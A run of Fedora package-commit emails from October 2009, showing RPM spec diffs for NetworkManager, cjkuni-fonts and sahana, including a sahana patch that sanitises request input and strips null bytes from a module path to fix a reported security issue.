+# intltool is too stupid to know that the network-manager-applet subdir
+# isn't part of the NetworkManager build, so punch it in the face, otherwise
+# its 'make check' hook will complain about applet translatables that aren't
+# listed in NetworkManager's po/POTFILES
+chmod -wrx network-manager-applet-%{version}
+make check
+chmod +wrx network-manager-applet-%{version}
 
 # build the applet
 pushd network-manager-applet-%{version}
 	autoreconf -i
 	intltoolize --force
 	%configure --disable-static --enable-more-warnings=yes
-	make
+	make %{?_smp_mflags}
 popd
 
 %install
@@ -239,13 +253,17 @@ exit 0
 %pre gnome
 if [ "$1" -gt 1 ]; then
   export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
-  gconftool-2 --makefile-uninstall-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null || :
+  if [ -f "%{_sysconfdir}/gconf/schemas/nm-applet.schemas" ]; then
+    gconftool-2 --makefile-uninstall-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+  fi
 fi
 
 %preun gnome
 if [ "$1" -eq 0 ]; then
   export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
-  gconftool-2 --makefile-uninstall-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+  if [ -f "%{_sysconfdir}/gconf/schemas/nm-applet.schemas" ]; then
+    gconftool-2 --makefile-uninstall-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+  fi
 fi
 
 %post gnome
@@ -254,7 +272,9 @@ if [ -x /usr/bin/gtk-update-icon-cache ]
   gtk-update-icon-cache -q %{_datadir}/icons/hicolor
 fi
 export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
-gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+if [ -f "%{_sysconfdir}/gconf/schemas/nm-applet.schemas" ]; then
+  gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+fi
 
 %postun gnome
 touch --no-create %{_datadir}/icons/hicolor
@@ -316,8 +336,10 @@ fi
 %{_datadir}/icons/hicolor/scalable/apps/*.svg
 %{_sysconfdir}/xdg/autostart/nm-applet.desktop
 %dir %{_datadir}/gnome-vpn-properties
-%{_libdir}/gnome-bluetooth/plugins/*
 %{_sysconfdir}/gconf/schemas/nm-applet.schemas
+%ifnarch s390 s390x
+%{_libdir}/gnome-bluetooth/plugins/*
+%endif
 
 %files glib
 %defattr(-,root,root,0755)
@@ -342,6 +364,18 @@ fi
 %{_datadir}/gtk-doc/html/libnm-util/*
 
 %changelog
+* Wed Oct 21 2009 Dan Williams <dcbw at redhat.com> - 0.7.996-5.git20091021
+- install: better fix for (rh #526519)
+- install: don't build Bluetooth bits on s390 (rh #529854)
+- nm: wired 802.1x connection activation fixes
+- nm: fix crash after modifying default wired connections like "Auto eth0"
+- nm: ensure VPN secrets are requested again after connection failure
+- nm: reset 'accept_ra' to previous value after deactivating IPv6 connections
+- nm: ensure random netlink events don't interfere with IPv6 connection activation
+- ifcfg-rh: fix writing out LEAP connections
+- ifcfg-rh: recognize 'static' as a valid BOOTPROTO (rh #528068)
+- applet: fix "could not find required resources" error (rh #529766)
+
 * Fri Oct  2 2009 Dan Williams <dcbw at redhat.com> - 0.7.996-4.git20091002
 - install: fix -gnome package %pre script failures (rh #526519)
 - nm: fix failures validating private keys when using the NSS crypto backend


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-12/sources,v
retrieving revision 1.152
retrieving revision 1.153
diff -u -p -r1.152 -r1.153
--- sources	3 Oct 2009 15:39:00 -0000	1.152
+++ sources	22 Oct 2009 01:19:56 -0000	1.153
@@ -1,2 +1,2 @@
-9993745d9f39e4ae8a6b46b5b7a5a809  NetworkManager-0.7.996.git20091002.tar.bz2
-131b83c340764d648ccce44f56683394  network-manager-applet-0.7.996.git20091002.tar.bz2
+185b6c1d6571a489cd33806302d2815d  NetworkManager-0.7.996.git20091021.tar.bz2
+a1aa5d658725d86dfc1744769effee7c  network-manager-applet-0.7.996.git20091021.tar.bz2



From cchance at fedoraproject.org  Thu Oct 22 01:28:51 2009
From: cchance at fedoraproject.org (cchance)
Date: Thu, 22 Oct 2009 01:28:51 +0000 (UTC)
Subject: rpms/cjkuni-fonts/devel .cvsignore, 1.2, 1.3 cjkuni-fonts.spec, 1.13,
	1.14 sources, 1.2, 1.3
Message-ID: <20091022012852.013A611C00E8@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/cjkuni-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21847

Modified Files:
	.cvsignore cjkuni-fonts.spec sources 
Log Message:
* Thu Oct 22 2009 Caius kaio Chance <k at kaio.me> - 0.2.20080216.1-28.fc13
- Resolves: 529975 - Make ghostscript address to be dynamic generated.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cjkuni-fonts/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	21 Jan 2009 03:37:41 -0000	1.2
+++ .cvsignore	22 Oct 2009 01:28:51 -0000	1.3
@@ -1,2 +1,3 @@
 ttf-arphic-ukai_0.2.20080216.1.orig.tar.gz
 ttf-arphic-uming_0.2.20080216.1.orig.tar.gz
+cjkuni-fonts-gscid-0.1.tgz


Index: cjkuni-fonts.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cjkuni-fonts/devel/cjkuni-fonts.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- cjkuni-fonts.spec	21 Sep 2009 04:37:07 -0000	1.13
+++ cjkuni-fonts.spec	22 Oct 2009 01:28:51 -0000	1.14
@@ -12,6 +12,7 @@ the CJK Unifonts project.
 
 %define umingbuilddir    %{fontname}-uming-fonts-%{version}
 %define ukaibuilddir     %{fontname}-ukai-fonts-%{version}
+%define gsbuilddir       %{fontname}-fonts-gscid-0.1
 
 %define cncompatdir      %{_datadir}/fonts/zh_CN/TrueType
 %define twcompatdir      %{_datadir}/fonts/zh_TW/TrueType
@@ -22,7 +23,7 @@ the CJK Unifonts project.
 
 Name:        %{fontname}-fonts
 Version:     0.2.20080216.1
-Release:     27%{?dist}
+Release:     28%{?dist}
 Summary:     Chinese Unicode TrueType fonts in Ming and Kai face.
 License:     Arphic
 Group:       User Interface/X
@@ -30,19 +31,14 @@ URL:         http://www.freedesktop.org/
 
 Source1:    http://ftp.debian.org/debian/pool/main/t/ttf-arphic-uming/ttf-arphic-uming_%{version}.orig.tar.gz
 Source2:    http://ftp.debian.org/debian/pool/main/t/ttf-arphic-ukai/ttf-arphic-ukai_%{version}.orig.tar.gz
-Source3:    FAPIcidfmap.zh_TW
-Source4:    FAPIcidfmap.zh_CN
-Source5:    cidfmap.zh_TW
-Source6:    cidfmap.zh_CN
-Source7:    CIDFnmap.zh_TW
-Source8:    CIDFnmap.zh_CN
+Source3:    cjkuni-fonts-gscid-0.1.tgz
 Patch1:     cjkunifonts-0.2.20080216.1-2.patch
 Patch2:     cjkuni-fonts-0.2.20080216.1-18.patch
 Patch3:     cjkuni-fonts-0.2.20080216.1-19.patch
 
 BuildRoot:        %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildArch:        noarch
-BuildRequires:    fontpackages-devel >= 1.13, xorg-x11-font-utils, ttmkfdir
+#BuildRequires:    fontpackages-devel >= 1.13, xorg-x11-font-utils, ttmkfdir
 
 %description
 %common_desc
@@ -164,6 +160,7 @@ CJK Unifonts compatibility files.
 %patch2 -p1 -b .2-rhbz475743
 %patch3 -p1 -b .3-rhbz459680
 %setup -q -c -T -a2 -n %{ukaibuilddir}
+%setup -q -c -T -a3 -n %{gsbuilddir}
 
 %build
 %{nil}
@@ -171,17 +168,20 @@ CJK Unifonts compatibility files.
 %install
 %__rm -rf %{buildroot}
 
+cd ../
+
 # *.ttc(ttf) and font.{dir,scale}
 %__install -m 0755 -d %{buildroot}%{umingdir}
 %__install -m 0755 -d %{buildroot}%{ukaidir}
-%__install -m 0644 ../%{umingbuilddir}/uming.ttc %{buildroot}%{umingdir}/
-%__install -m 0644 ../%{ukaibuilddir}/ukai.ttc %{buildroot}%{ukaidir}/
+%__install -m 0644 %{umingbuilddir}/uming.ttc %{buildroot}%{umingdir}/
+%__install -m 0644 %{ukaibuilddir}/ukai.ttc %{buildroot}%{ukaidir}/
 
 # fonts.{scale,dir} # use upstream included one instead
-%__install -m 0644 ../%{umingbuilddir}/fonts.dir %{buildroot}%{umingdir}/
-%__install -m 0644 ../%{umingbuilddir}/fonts.scale %{buildroot}%{umingdir}/
-%__install -m 0644 ../%{ukaibuilddir}/fonts.dir %{buildroot}%{ukaidir}/
-%__install -m 0644 ../%{ukaibuilddir}/fonts.scale %{buildroot}%{ukaidir}/
+%__install -m 0644 %{umingbuilddir}/fonts.dir %{buildroot}%{umingdir}/
+%__install -m 0644 %{umingbuilddir}/fonts.scale %{buildroot}%{umingdir}/
+%__install -m 0644 %{ukaibuilddir}/fonts.dir %{buildroot}%{ukaidir}/
+%__install -m 0644 %{ukaibuilddir}/fonts.scale %{buildroot}%{ukaidir}/
+
 #cd %{buildroot}%{umingdir}
 #%{_bindir}/ttmkfdir -d %{buildroot}%{umingdir} \
 #    -o %{buildroot}%{umingdir}/fonts.scale
@@ -196,35 +196,40 @@ CJK Unifonts compatibility files.
 # *.conf
 %__install -m 0755 -d %{buildroot}%{_fontconfig_templatedir}
 %__install -m 0755 -d %{buildroot}%{_fontconfig_confdir}
-cd ../%{umingbuilddir}
+
+cd %{umingbuilddir}
 for fconf in `ls *-ttf-arphic-uming*.conf`
 do
     %__install -m 0644 $fconf %{buildroot}%{_fontconfig_templatedir}/
     %__ln_s %{_fontconfig_templatedir}/$fconf \
         %{buildroot}%{_fontconfig_confdir}/$fconf
 done
-cd ../%{ukaibuilddir}
+cd ../
+
+cd %{ukaibuilddir}
 for fconf in `ls *-ttf-arphic-ukai*.conf`
 do
     %__install -m 0644 $fconf %{buildroot}%{_fontconfig_templatedir}/
     %__ln_s %{_fontconfig_templatedir}/$fconf \
         %{buildroot}%{_fontconfig_confdir}/$fconf
 done
-cd -
+cd ../
 
 # ghostscript
+cd %{gsbuilddir}
 %__install -m 0755 -d %{buildroot}%{gsdir}
-%__install -m 0644 %{SOURCE3} %{buildroot}%{gsdir}/
-%__install -m 0644 %{SOURCE4} %{buildroot}%{gsdir}/
-%__install -m 0644 %{SOURCE5} %{buildroot}%{gsdir}/
-%__install -m 0644 %{SOURCE6} %{buildroot}%{gsdir}/
-%__install -m 0644 %{SOURCE7} %{buildroot}%{gsdir}/
-%__install -m 0644 %{SOURCE8} %{buildroot}%{gsdir}/
+for gscid in `ls`
+do
+    cat $gscid | sed --expression='s/###ukailoc###/\/usr\/share\/fonts\/cjkuni-ukai/g' --expression='s/###umingloc###/\/usr\/share\/fonts\/cjkuni-uming/g' > tmp_gs
+    mv tmp_gs $gscid
+    %__install -m 0644 $gscid %{buildroot}%{gsdir}
+done
+cd ../
 
 # catalogue
 %__install -m 0755 -d %{buildroot}%{catalogue}
-%__ln_s %{umingdir} %{buildroot}%{catalogue}/%{name}-uming
-%__ln_s %{ukaidir} %{buildroot}%{catalogue}/%{name}-ukai
+%__ln_s %{umingdir}/ %{buildroot}%{catalogue}/%{name}-uming
+%__ln_s %{ukaidir}/ %{buildroot}%{catalogue}/%{name}-ukai
 
 # backward compat to obsoleted ttf
 %__install -m 0755 -d %{buildroot}%{cncompatdir}
@@ -240,6 +245,9 @@ cd -
 %__rm -fr %{buildroot}
 
 %changelog
+* Thu Oct 22 2009 Caius 'kaio' Chance <k at kaio.me> - 0.2.20080216.1-28.fc13
+- Resolves: 529975 - Make ghostscript address to be dynamic generated.
+
 * Mon Sep 21 2009 Caius 'kaio' Chance <k at kaio.me> - 0.2.20080216.1-27.fc12
 - Merged from F-11 tree.
 - Obsoleted cjkuni-fonts-common.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cjkuni-fonts/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	21 Jan 2009 03:37:41 -0000	1.2
+++ sources	22 Oct 2009 01:28:51 -0000	1.3
@@ -1,2 +1,3 @@
 4d3beb55db000bfedd18c9c7d6e631d8  ttf-arphic-ukai_0.2.20080216.1.orig.tar.gz
 d219fcaf953f3eb1889399955a00379f  ttf-arphic-uming_0.2.20080216.1.orig.tar.gz
+003dd4b7da513993dd43b01157cdd410  cjkuni-fonts-gscid-0.1.tgz



From dcbw at fedoraproject.org  Thu Oct 22 01:31:18 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Thu, 22 Oct 2009 01:31:18 +0000 (UTC)
Subject: rpms/NetworkManager/devel NetworkManager.spec,1.290,1.291
Message-ID: <20091022013118.DF27A11C00E8@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22668

Modified Files:
	NetworkManager.spec 
Log Message:
Ensure there's a valid dbus UUID for our testcases


Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/devel/NetworkManager.spec,v
retrieving revision 1.290
retrieving revision 1.291
diff -u -p -r1.290 -r1.291
--- NetworkManager.spec	22 Oct 2009 01:09:23 -0000	1.290
+++ NetworkManager.spec	22 Oct 2009 01:31:18 -0000	1.291
@@ -177,6 +177,7 @@ make %{?_smp_mflags}
 # its 'make check' hook will complain about applet translatables that aren't
 # listed in NetworkManager's po/POTFILES
 chmod -wrx network-manager-applet-%{version}
+dbus-uuidgen --ensure
 make check
 chmod +wrx network-manager-applet-%{version}
 



From dcbw at fedoraproject.org  Thu Oct 22 01:32:01 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Thu, 22 Oct 2009 01:32:01 +0000 (UTC)
Subject: rpms/NetworkManager/F-12 NetworkManager.spec,1.290,1.291
Message-ID: <20091022013201.43E2711C00E8@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22841

Modified Files:
	NetworkManager.spec 
Log Message:
Ensure there's a valid dbus UUID for our testcases


Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-12/NetworkManager.spec,v
retrieving revision 1.290
retrieving revision 1.291
diff -u -p -r1.290 -r1.291
--- NetworkManager.spec	22 Oct 2009 01:19:55 -0000	1.290
+++ NetworkManager.spec	22 Oct 2009 01:32:01 -0000	1.291
@@ -177,6 +177,7 @@ make %{?_smp_mflags}
 # its 'make check' hook will complain about applet translatables that aren't
 # listed in NetworkManager's po/POTFILES
 chmod -wrx network-manager-applet-%{version}
+dbus-uuidgen --ensure
 make check
 chmod +wrx network-manager-applet-%{version}
 



From cchance at fedoraproject.org  Thu Oct 22 01:36:59 2009
From: cchance at fedoraproject.org (cchance)
Date: Thu, 22 Oct 2009 01:36:59 +0000 (UTC)
Subject: rpms/cjkuni-fonts/devel cjkuni-fonts.spec,1.14,1.15
Message-ID: <20091022013659.770E111C00E8@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/cjkuni-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24066

Modified Files:
	cjkuni-fonts.spec 
Log Message:
rebuilt


Index: cjkuni-fonts.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cjkuni-fonts/devel/cjkuni-fonts.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- cjkuni-fonts.spec	22 Oct 2009 01:28:51 -0000	1.14
+++ cjkuni-fonts.spec	22 Oct 2009 01:36:57 -0000	1.15
@@ -23,7 +23,7 @@ the CJK Unifonts project.
 
 Name:        %{fontname}-fonts
 Version:     0.2.20080216.1
-Release:     28%{?dist}
+Release:     29%{?dist}
 Summary:     Chinese Unicode TrueType fonts in Ming and Kai face.
 License:     Arphic
 Group:       User Interface/X
@@ -38,7 +38,7 @@ Patch3:     cjkuni-fonts-0.2.20080216.1-
 
 BuildRoot:        %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildArch:        noarch
-#BuildRequires:    fontpackages-devel >= 1.13, xorg-x11-font-utils, ttmkfdir
+BuildRequires:    fontpackages-devel >= 1.13, xorg-x11-font-utils, ttmkfdir
 
 %description
 %common_desc
@@ -245,6 +245,9 @@ cd ../
 %__rm -fr %{buildroot}
 
 %changelog
+* Thu Oct 22 2009 Caius 'kaio' Chance <k at kaio.me> - 0.2.20080216.1-29.fc13
+- Rebuilt.
+
 * Thu Oct 22 2009 Caius 'kaio' Chance <k at kaio.me> - 0.2.20080216.1-28.fc13
 - Resolves: 529975 - Make ghostscript address to be dynamic generated.
 



From dcbw at fedoraproject.org  Thu Oct 22 01:45:14 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Thu, 22 Oct 2009 01:45:14 +0000 (UTC)
Subject: rpms/NetworkManager/devel NetworkManager.spec,1.291,1.292
Message-ID: <20091022014514.AB46011C00E8@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27971

Modified Files:
	NetworkManager.spec 
Log Message:
Fix dbus uuid path


Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/devel/NetworkManager.spec,v
retrieving revision 1.291
retrieving revision 1.292
diff -u -p -r1.291 -r1.292
--- NetworkManager.spec	22 Oct 2009 01:31:18 -0000	1.291
+++ NetworkManager.spec	22 Oct 2009 01:45:13 -0000	1.292
@@ -177,7 +177,7 @@ make %{?_smp_mflags}
 # its 'make check' hook will complain about applet translatables that aren't
 # listed in NetworkManager's po/POTFILES
 chmod -wrx network-manager-applet-%{version}
-dbus-uuidgen --ensure
+dbus-uuidgen --ensure=$RPM_BUILD_ROOT/var/lib/dbus/machine-id
 make check
 chmod +wrx network-manager-applet-%{version}
 



From dcbw at fedoraproject.org  Thu Oct 22 01:47:15 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Thu, 22 Oct 2009 01:47:15 +0000 (UTC)
Subject: rpms/NetworkManager/F-12 NetworkManager.spec,1.291,1.292
Message-ID: <20091022014716.009D211C00E8@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29034

Modified Files:
	NetworkManager.spec 
Log Message:
Fix dbus uuid path


Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-12/NetworkManager.spec,v
retrieving revision 1.291
retrieving revision 1.292
diff -u -p -r1.291 -r1.292
--- NetworkManager.spec	22 Oct 2009 01:32:01 -0000	1.291
+++ NetworkManager.spec	22 Oct 2009 01:47:15 -0000	1.292
@@ -177,7 +177,7 @@ make %{?_smp_mflags}
 # its 'make check' hook will complain about applet translatables that aren't
 # listed in NetworkManager's po/POTFILES
 chmod -wrx network-manager-applet-%{version}
-dbus-uuidgen --ensure
+dbus-uuidgen --ensure=$RPM_BUILD_ROOT/var/lib/dbus/machine-id
 make check
 chmod +wrx network-manager-applet-%{version}
 



From ke4qqq at fedoraproject.org  Thu Oct 22 02:16:45 2009
From: ke4qqq at fedoraproject.org (David Nalley)
Date: Thu, 22 Oct 2009 02:16:45 +0000 (UTC)
Subject: rpms/sahana/devel sahana.patch, NONE, 1.1 import.log, 1.2,
	1.3 sahana.spec, 1.3, 1.4
Message-ID: <20091022021645.CFAD811C00E8@cvs1.fedora.phx.redhat.com>

Author: ke4qqq

Update of /cvs/pkgs/rpms/sahana/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3658/devel

Modified Files:
	import.log sahana.spec 
Added Files:
	sahana.patch 
Log Message:
* Wed Oct 21 2009 David Nalley <david at gnsa.us> 0.6.2.2-6
- fixed security issue noted in bz 530255



sahana.patch:
 index.php |   25 ++++++++++++++++++++++++-
 1 file changed, 24 insertions(+), 1 deletion(-)

--- NEW FILE sahana.patch ---
--- www/index.php	2007-12-10 05:04:15.000000000 -0500
+++ www/index.php	2009-10-21 21:40:00.823878649 -0400
@@ -92,11 +92,31 @@ if (!file_exists($APPROOT.'conf/sysconf.
 
 }
 
-// === cleans the GET and POST ===
+// === cleans the GET and POST and REQUEST ===
 function shn_main_clean_getpost()
 {
 
 	$purifier = new HTMLPurifier();
+	
+        foreach ($_REQUEST as $key=>$val){
+                if(is_array($_REQUEST[$key])==true){
+                
+                }else{
+                        $val = $purifier->purify($val);
+                        $val=escapeHTML($val);
+                        $_REQUEST[$key]=$val;
+                }
+        }        
+
+        foreach ($_GET as $key=>$val){
+                if(is_array($_GET[$key])==true){
+                
+                }else{
+                        $val = $purifier->purify($val);
+                        $val=escapeHTML($val);
+                        $_GET[$key]=$val;
+                }
+        }
 
 	foreach ($_POST as $key=>$val){
 		if(is_array($_POST[$key])==true){
@@ -164,6 +184,9 @@ function shn_main_front_controller()
 	// check the users access permissions for this action
 	$module_function = 'shn_'.$stream_.$module.'_'.$action;
 
+	// fixes the security vulnerability associated with null characters in the $module string
+	$module = str_replace("\0", "", $module);
+
 	// include the correct module file based on action and module
 	$module_file = $APPROOT.'mod/'.$module.'/main.inc';
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/sahana/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	1 Apr 2009 17:39:57 -0000	1.2
+++ import.log	22 Oct 2009 02:16:45 -0000	1.3
@@ -1,2 +1,3 @@
 sahana-0_6_2_2-3_fc10:HEAD:sahana-0.6.2.2-3.fc10.src.rpm:1238604801
 sahana-0_6_2_2-4_fc10:HEAD:sahana-0.6.2.2-4.fc10.src.rpm:1238607475
+sahana-0_6_2_2-6_fc11:HEAD:sahana-0.6.2.2-6.fc11.src.rpm:1256177796


Index: sahana.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sahana/devel/sahana.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sahana.spec	27 Jul 2009 03:45:41 -0000	1.3
+++ sahana.spec	22 Oct 2009 02:16:45 -0000	1.4
@@ -3,7 +3,7 @@
 
 Name: sahana
 Version: 0.6.2.2
-Release: 5%{?dist}
+Release: 6%{?dist}
 Summary: Sahana is a free open source disaster management application
 Group:	Applications/Publishing
 License: LGPLv2+
@@ -11,6 +11,7 @@ URL: http://www.sahana.lk/
 Source0: http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz 
 #URL for source is http://code.zikula.org/core/downloads/99
 Source1: sahana.conf
+Patch0:  sahana.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 BuildRequires: dos2unix
@@ -38,7 +39,7 @@ semanage fcontext -a -t httpd_var_run_t 
 
 %prep
 %setup -qn %{name} 
-
+%patch0 -p0
 %build
 #nothing really for this section but rpmbuild complains if build is empty
 
@@ -108,6 +109,9 @@ symlinks -crs /usr/share/sahana >/dev/nu
 
 
 %changelog
+* Wed Oct 21 2009 David Nalley <david at gnsa.us> 0.6.2.2-6
+- fixed security issue noted in bz 530255
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.2.2-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ke4qqq at fedoraproject.org  Thu Oct 22 02:17:33 2009
From: ke4qqq at fedoraproject.org (David Nalley)
Date: Thu, 22 Oct 2009 02:17:33 +0000 (UTC)
Subject: rpms/sahana/F-10 sahana.patch, NONE, 1.1 import.log, 1.2,
	1.3 sahana.spec, 1.2, 1.3
Message-ID: <20091022021733.0A4C811C00E8@cvs1.fedora.phx.redhat.com>

Author: ke4qqq

Update of /cvs/pkgs/rpms/sahana/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3955/F-10

Modified Files:
	import.log sahana.spec 
Added Files:
	sahana.patch 
Log Message:
* Wed Oct 21 2009 David Nalley <david at gnsa.us> 0.6.2.2-6
- fixed security issue noted in bz 530255



sahana.patch:
 index.php |   25 ++++++++++++++++++++++++-
 1 file changed, 24 insertions(+), 1 deletion(-)

--- NEW FILE sahana.patch ---
--- www/index.php	2007-12-10 05:04:15.000000000 -0500
+++ www/index.php	2009-10-21 21:40:00.823878649 -0400
@@ -92,11 +92,31 @@ if (!file_exists($APPROOT.'conf/sysconf.
 
 }
 
-// === cleans the GET and POST ===
+// === cleans the GET and POST and REQUEST ===
 function shn_main_clean_getpost()
 {
 
 	$purifier = new HTMLPurifier();
+	
+        foreach ($_REQUEST as $key=>$val){
+                if(is_array($_REQUEST[$key])==true){
+                
+                }else{
+                        $val = $purifier->purify($val);
+                        $val=escapeHTML($val);
+                        $_REQUEST[$key]=$val;
+                }
+        }        
+
+        foreach ($_GET as $key=>$val){
+                if(is_array($_GET[$key])==true){
+                
+                }else{
+                        $val = $purifier->purify($val);
+                        $val=escapeHTML($val);
+                        $_GET[$key]=$val;
+                }
+        }
 
 	foreach ($_POST as $key=>$val){
 		if(is_array($_POST[$key])==true){
@@ -164,6 +184,9 @@ function shn_main_front_controller()
 	// check the users access permissions for this action
 	$module_function = 'shn_'.$stream_.$module.'_'.$action;
 
+	// fixes the security vulnerability associated with null characters in the $module string
+	$module = str_replace("\0", "", $module);
+
 	// include the correct module file based on action and module
 	$module_file = $APPROOT.'mod/'.$module.'/main.inc';
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/sahana/F-10/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	1 Apr 2009 17:46:55 -0000	1.2
+++ import.log	22 Oct 2009 02:17:32 -0000	1.3
@@ -1,2 +1,3 @@
 sahana-0_6_2_2-3_fc10:F-10:sahana-0.6.2.2-3.fc10.src.rpm:1238605038
 sahana-0_6_2_2-4_fc10:F-10:sahana-0.6.2.2-4.fc10.src.rpm:1238607925
+sahana-0_6_2_2-6_fc11:F-10:sahana-0.6.2.2-6.fc11.src.rpm:1256177920


Index: sahana.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sahana/F-10/sahana.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sahana.spec	1 Apr 2009 17:46:55 -0000	1.2
+++ sahana.spec	22 Oct 2009 02:17:32 -0000	1.3
@@ -3,7 +3,7 @@
 
 Name: sahana
 Version: 0.6.2.2
-Release: 4%{?dist}
+Release: 6%{?dist}
 Summary: Sahana is a free open source disaster management application
 Group:	Applications/Publishing
 License: LGPLv2+
@@ -11,6 +11,7 @@ URL: http://www.sahana.lk/
 Source0: http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz 
 #URL for source is http://code.zikula.org/core/downloads/99
 Source1: sahana.conf
+Patch0:  sahana.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 BuildRequires: dos2unix
@@ -38,7 +39,7 @@ semanage fcontext -a -t httpd_var_run_t 
 
 %prep
 %setup -qn %{name} 
-
+%patch0 -p0
 %build
 #nothing really for this section but rpmbuild complains if build is empty
 
@@ -108,6 +109,12 @@ symlinks -crs /usr/share/sahana >/dev/nu
 
 
 %changelog
+* Wed Oct 21 2009 David Nalley <david at gnsa.us> 0.6.2.2-6
+- fixed security issue noted in bz 530255
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.2.2-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Apr 01 2009 David Nalley <david at gnsa.us> 0.6.2.2-4
 - removed -executable predicate from find so it will build on EL-5 and F-9
 * Tue Mar 31 2009 David Nalley <david at gnsa.us> 0.6.2.2-3



From ke4qqq at fedoraproject.org  Thu Oct 22 02:18:18 2009
From: ke4qqq at fedoraproject.org (David Nalley)
Date: Thu, 22 Oct 2009 02:18:18 +0000 (UTC)
Subject: rpms/sahana/F-11 sahana.patch, NONE, 1.1 import.log, 1.2,
	1.3 sahana.spec, 1.2, 1.3
Message-ID: <20091022021818.256E811C00E8@cvs1.fedora.phx.redhat.com>

Author: ke4qqq

Update of /cvs/pkgs/rpms/sahana/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4173/F-11

Modified Files:
	import.log sahana.spec 
Added Files:
	sahana.patch 
Log Message:
* Wed Oct 21 2009 David Nalley <david at gnsa.us> 0.6.2.2-6
- fixed security issue noted in bz 530255



sahana.patch:
 index.php |   25 ++++++++++++++++++++++++-
 1 file changed, 24 insertions(+), 1 deletion(-)

--- NEW FILE sahana.patch ---
--- www/index.php	2007-12-10 05:04:15.000000000 -0500
+++ www/index.php	2009-10-21 21:40:00.823878649 -0400
@@ -92,11 +92,31 @@ if (!file_exists($APPROOT.'conf/sysconf.
 
 }
 
-// === cleans the GET and POST ===
+// === cleans the GET and POST and REQUEST ===
 function shn_main_clean_getpost()
 {
 
 	$purifier = new HTMLPurifier();
+	
+        foreach ($_REQUEST as $key=>$val){
+                if(is_array($_REQUEST[$key])==true){
+                
+                }else{
+                        $val = $purifier->purify($val);
+                        $val=escapeHTML($val);
+                        $_REQUEST[$key]=$val;
+                }
+        }        
+
+        foreach ($_GET as $key=>$val){
+                if(is_array($_GET[$key])==true){
+                
+                }else{
+                        $val = $purifier->purify($val);
+                        $val=escapeHTML($val);
